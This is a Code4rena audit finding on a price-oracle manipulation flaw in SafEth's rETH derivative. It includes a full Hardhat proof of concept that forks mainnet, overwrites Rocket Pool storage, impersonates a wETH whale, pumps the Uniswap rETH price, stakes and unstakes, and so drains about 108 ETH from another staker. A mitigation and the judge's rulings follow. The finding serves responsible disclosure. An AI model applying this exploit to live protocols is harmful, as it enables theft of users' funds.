Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 238/246
Findings: 1
Award: $0.14
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: HHK
Also found by: 019EC6E2, 0Kage, 0x52, 0xRobocop, 0xTraub, 0xbepresent, 0xepley, 0xfusion, 0xl51, 4lulz, Bahurum, BanPaleo, Bauer, CodeFoxInc, Dug, HollaDieWaldfee, IgorZuk, Lirios, MadWookie, MiloTruck, RedTiger, Ruhum, SaeedAlipoor01988, Shogoki, SunSec, ToonVH, Toshii, UdarTeam, Viktor_Cortess, a3yip6, auditor0517, aviggiano, bearonbike, bytes032, carlitox477, carrotsmuggler, chalex, deliriusz, ernestognw, fs0c, handsomegiraffe, igingu, jasonxiale, kaden, koxuan, latt1ce, m_Rassska, n1punp, nemveer, nowonder92, peanuts, pontifex, roelio, rvierdiiev, shalaamum, shuklaayush, skidog, tank, teddav, top1st, ulqiorra, wait, wen, yac
0.1353 USDC - $0.14
When staking Eth
to mint SafEth
, SafEth:stake()
utilizes ethPerDerivative()
to calculate the increase of underlying token value. However, under specific circumstances, the return value of Reth:ethPerDerivative()
can be manipulated to mint extra SafEth
, thus resulting in stealing other users' Eth
by unstaking.
function ethPerDerivative(uint256 _amount) public view returns (uint256) { if (poolCanDeposit(_amount)) return RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); else return (poolPrice() * 10 ** 18) / (10 ** 18); }
As shown in the above code, the return value of Reth:ethPerDerivative()
is either from Rocket Pool or Uniswap, depending on whether Rocket Pool can still be deposited.
Here is how we attack, during calling stake()
, the price of rEth
would be calculate twice (i.e., before depositing and after depositing). By staking a specific amount of Eth
, we can deposit Eth
to mint rETH
in Rocket Pool, while calculate the price of rEth
in Uniswap. By increasing the price rEth
in Uniswap before staking, we mint extra SafEth
.
In the following test, adminAccount (i.e. attackee) firstly stake 200 ether
to SafEth
. Attackers (attackerAccount and wEthWhale) manipulate the price in Uniswap (i.e., swapping wEth
to rEth
, increasing the price of rEth
) and also stake 200 ether
to SafEth
.
After unstaking (both attackers and attackee), attackers steals extra 108 ether
and only loss around 1 ether
due to Uniswap slippage.
Note that we manipulate the deposit capacity of rEth
in our PoC to ensure the rocket pool is not full, since rocketpool's deposit is always full and can not be staked right now (i.e., in the given block). It is rational for us to assume that rocket pool is not full. Also we use a hard-code address (i.e., wEthWhale) to obtain enough wEth
.
/* partially copy from SafEth.test.ts */ import { network, ethers } from "hardhat"; import { expect } from "chai"; import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; import { BigNumber } from "ethers"; import { SafEth } from "../typechain-types"; import { initialUpgradeableDeploy } from "./helpers/upgradeHelpers"; import { setStorageAt } from "@nomicfoundation/hardhat-network-helpers"; import { rEthDepositPoolAbi } from "./abi/rEthDepositPoolAbi"; import { rEthProtocolSettingDepositAbi } from "./abi/rEthProtocolSettingDepositAbi"; import { uniRouterAbi } from "./abi/uniRouterAbi"; import { rEthAbi } from "./abi/rEthAbi"; import { wEthAbi } from "./abi/wEthAbi"; import { getDifferenceRatio } from "./SafEth-Integration.test"; describe("a3yip6 PoC for Af Strategy", function(){ let adminAccount: SignerWithAddress; let attackerAccount: SignerWithAddress; let safEthProxy: SafEth; let initialHardhatBlock: number; // so far we may not need this const resetToBlock = async (blockNumber: number) => { await network.provider.request({ method: "hardhat_reset", params: [ { forking: { jsonRpcUrl: process.env.MAINNET_URL, blockNumber, },},],}); safEthProxy = (await initialUpgradeableDeploy()) as SafEth; const accounts = await ethers.getSigners(); adminAccount = accounts[0]; attackerAccount = accounts[1]; }; before(async () => { const latestBlock = await ethers.provider.getBlock("latest"); initialHardhatBlock = latestBlock.number; await resetToBlock(initialHardhatBlock); }); describe("Price Manipulate", function() { it("Should manipuate the price of derivatives", async function(){ let depositAmount = ethers.utils.parseEther("200"); const depositPoolAddress = "0x2cac916b2A963Bf162f076C0a8a4a8200BCFBfb4"; const depositPool = new ethers.Contract( depositPoolAddress, rEthDepositPoolAbi, adminAccount ); // we assume the deposit pool of rETH is in 5150 ether maximum // this assumption is rational after Shanghai upgrade const protocolSettingAddress = "0xcc82c913b9f3a207b332d216b101970e39e59db3"; const storageAddress = "0x1d8f8f00cfa6758d7be78336684788fb0ee0fa46"; const protocolSettingDeposit = new ethers.Contract( protocolSettingAddress, rEthProtocolSettingDepositAbi, adminAccount ); const settingNameSpace = ethers.utils.keccak256(ethers.utils.solidityPack( ["string","string"],["dao.protocol.setting.", "deposit"] )); const mappingKey = ethers.utils.keccak256(ethers.utils.solidityPack( ["bytes32", "string"], [settingNameSpace, "deposit.pool.maximum"] )); const slotKey = ethers.utils.keccak256(ethers.utils.solidityPack( ["bytes32", "uint256"], [mappingKey, 2] )); await setStorageAt( storageAddress, slotKey, "0x0000000000000000000000000000000000000000000001172E9B72216DB80000" ); expect(await protocolSettingDeposit.getMaximumDepositPoolSize()) .eq(ethers.utils.parseEther("5150")) /* * let admin (i.e., attackee) stake first */ const adminStartingBalance = await adminAccount.getBalance(); await safEthProxy.connect(adminAccount).stake({value: depositAmount}); /* * let's hack!!! */ // step 1: increase the price of Uniswap pool const wEthWhale = await ethers .getImpersonatedSigner("0x57757E3D981446D585Af0D9Ae4d7DF6D64647806"); await attackerAccount.sendTransaction({ to: wEthWhale.address, value: ethers.utils.parseEther("1"), gasLimit: 2100000, }); const uniRouterAddress = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"; const uniRouter = new ethers.Contract( uniRouterAddress, uniRouterAbi, adminAccount ); const rEthAddress = "0xae78736Cd615f374D3085123A210448E74Fc6393"; const rEth = new ethers.Contract( rEthAddress, rEthAbi, adminAccount ); await rEth.connect(wEthWhale) .approve(uniRouterAddress, ethers.constants.MaxUint256); const wEthAddress = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; const wEth = new ethers.Contract( wEthAddress, wEthAbi, adminAccount ); await wEth.connect(wEthWhale) .approve(uniRouterAddress, ethers.constants.MaxUint256); const wEthWhaleStartingBalance = await wEth.balanceOf(wEthWhale.address); const input1 = { tokenIn: wEth.address, tokenOut: rEth.address, fee: 500, recipient: wEthWhale.address, amountIn: ethers.utils.parseEther("1429.725"), amountOutMinimum: 0, sqrtPriceLimitX96: 0, } await uniRouter.connect(wEthWhale).exactInputSingle(input1); // step 2: let attacker stake (in a manipulated price) const attackerStartingBalance = await attackerAccount.getBalance(); await safEthProxy.connect(attackerAccount).stake({value: depositAmount}); // step 3: recover the price of Uniswap (with acceptable loss) const input2 = { tokenIn: rEth.address, tokenOut: wEth.address, fee: 500, recipient: wEthWhale.address, amountIn: await rEth.balanceOf(wEthWhale.address), amountOutMinimum: 0, sqrtPriceLimitX96: 0, } await uniRouter.connect(wEthWhale).exactInputSingle(input2); const wEthWhaleFinalBalance = await wEth.balanceOf(wEthWhale.address); // step 4: let attacker & admin unstake, and check how much ETH are left await safEthProxy.connect(attackerAccount).unstake( await safEthProxy.balanceOf(attackerAccount.address) ); const attackerFinalBalance = await attackerAccount.getBalance(); await safEthProxy.connect(adminAccount).unstake( await safEthProxy.balanceOf(adminAccount.address) ); const adminFinalBalance = await adminAccount.getBalance(); const attackerGain = attackerFinalBalance.sub(attackerStartingBalance); const whaleLoss = wEthWhaleStartingBalance.sub(wEthWhaleFinalBalance); const adminLoss = adminStartingBalance.sub(adminFinalBalance); expect(attackerGain.sub(whaleLoss)).gt(0); expect(within1Percent(depositAmount, depositAmount.sub(adminLoss)) ).eq(false); console.log('the profit of attacker: %d', attackerGain.div(BigNumber.from( "1000000000000000000"))); //107 ether console.log('the loss of admin: %d', adminLoss.div(BigNumber.from( "1000000000000000000"))); //108 ether }); }); const within1Percent = (amount1: BigNumber, amount2: BigNumber) => { if (amount1.eq(amount2)) return true; return getDifferenceRatio(amount1, amount2).gt("100"); }; });
we use the same environment as the given github project. Additionally, we also collect the ABI information of rEth, Uniswap Router, and wEth for our PoC.
Update the Reth:ethPerDerivative()
function by specify using which pool (rocket pool or uniswap) to calculate rEth
price.
function ethPerDerivative(uint256 poolIndex) public view returns (uint256) { if (poolIndex == 1) return RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); else return (poolPrice() * 10 ** 18) / (10 ** 18); }
Additional, the implementation of SafEth:stake()
should be correspondingly change to ensure the price of rEth
depends on a single pool within one transaction. Also, those interface contract need to be changed. We would like to emphasize that such modification does not affect other derivatives.
#0 - c4-pre-sort
2023-04-04T11:44:37Z
0xSorryNotSorry marked the issue as duplicate of #601
#1 - c4-judge
2023-04-21T16:11:13Z
Picodes marked the issue as duplicate of #1125
#2 - c4-judge
2023-04-21T16:14:04Z
Picodes marked the issue as satisfactory